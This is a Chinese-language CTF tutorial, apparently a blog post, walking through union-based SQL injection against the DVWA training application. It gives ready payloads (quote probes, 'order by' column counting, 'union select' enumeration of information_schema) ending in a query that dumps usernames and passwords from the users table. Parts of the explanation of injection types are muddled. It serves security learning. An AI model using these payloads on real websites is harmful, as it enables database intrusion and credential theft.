CTF-SQL注入
网站结构
-
表示层:前端 用户可以输入
-
业务逻辑层:后端
-
数据访问层:数据库
SQL注入分类
联合查询注入
判断漏洞是否存在
注入流程:
-
判断是否有注入
-
判断注入类型
-
利用order by或group by 判断列数
-
1‘ order by 2 # 作用:与前一个select 列数保持一致
-
select username,password from users where id='1'order by $2 #' 判断表的列数
-
union联合查询
-
select * union select * 后面的select会接着在第一个select的后面输出,不会另起一行
-
前面输入两列,后面也要输出两列,要保持一致
SQL注入流程:
-
index.php中的sql语句
-
select username,password from users where id='$id'
-
正常输入id=1
-
输入’ “ 查看有没有注入,id=1' id=1"
-
字符类型:判断注入类型---id=1 and 1=1 没有报错 id=1 and 1=2 没有报错
-
数字类型:判断注入类型---id=1 and 1=1没有报错 id=1 and 1=2 报错
-
判断数据库表的列数:
-
字符型:id=1' order by 3#
-
select username,password from users where id='1' order by 3#'
-
数字型:id=1 order by 3
-
select username,password from users where id=1 order by 3
后面就以DVWA中SQL injection为例
开始!!!
第一步判断是否有注入
报错回显
这里可以确实是有注入的,是单引号,'
那么这里就该判断数据库表的列数,这里用order by ,也可以用group by ,那么就开始了
这里是说没有第三列的意思,
这里我们来解释一下,为什么要输入1' order by 3#
这里因为没有找到源码的sql语句,但是其实都一个意思,username,passowrd列数,正好是2列
select username,password from users where id='$id'
然后我们输入的值一般都在$id就是引号里面,然后我们把1' order by 3放在这个id里面,
select username,password from users where id='1' order by 3#'
这里我们知道了列数之后,就可以继续查数据库里的表了
这里查表要利用union,联合查询
union:可以通过加union,查询多个语句,执行多个语句,话不多说,直接上手
这里最好把这个sql源码拿出来,这样可以更好的帮你理解
select username,password from users where id='$id'
输入1' union select 1,2#
继续查表数据库的版本和当前数据库分别是version(),database(),user()查看用户
输入 1' union select version(),database()#,位置都是一一对应的,版本信息,当前数据库
这里我们记录一下,当前数据库dvwa
继续查表table_name
输入 1' union select version(),table_name from information_schema.tables where table_schema='dvwa'#
information_schema是MySQL自带的一个特殊数据库,它提供了关于其他数据库的元数据信息,如数据库名、表名、列的数据类型、访问权限等。具体介绍可以在网卡搜
把users这个表记着,等会要用
然后我们利用这个表名,再查列名 column_name
输入 1' union select version(),group_concat(column_name) from information_schema.columns where table_schema='dvwa'and table_name='users'#
这里我们用了一个函数,group_concat(),这个函数你们可以在网卡搜一下,就是把查到的列放在一个数组里面,大白话,就是都放一块,好看一些
好,数据库,表名,列数,我们都知道了,这个时候我们可以直接指定某个数据库查某个表了,
费话不说,开始!!
以下代码就是正常的sql语句了
这里我们查user,password
输入 1' union select version(),group_concat(user,'-',password) from users#
OK!到这里就结束了!如有不懂可以在评论区问我!!看到一定回的
完整代码
select username,password from users where id='$id' 开始注入: id=1 select username,password from users where id='1' id=1' select username,password from users where id='1'' id=1 and 1=1 or id=1 and 1=2 如果都没报错,那么就是字符类型 select username,password from users where id='1 and 1=1' select username,password from users where id='1 and 1=2' 1' order by 3 select username,password from users where id='1' order by 3#' 1' union select 1,2# select username,password from users where id='1' union select 1,2#' 1' union select database(),user()# select username,password from users where id='1' union select database(),user()#' 1' union select database(),table_name from information_schema.tables where table_schema='dvwa'# select username,password from users where id='1' union select database(),table_name from information_schema.tables where table_schema='dvwa'#' 1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'# select username,password from users where id='1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#' 1' union select user,password from users#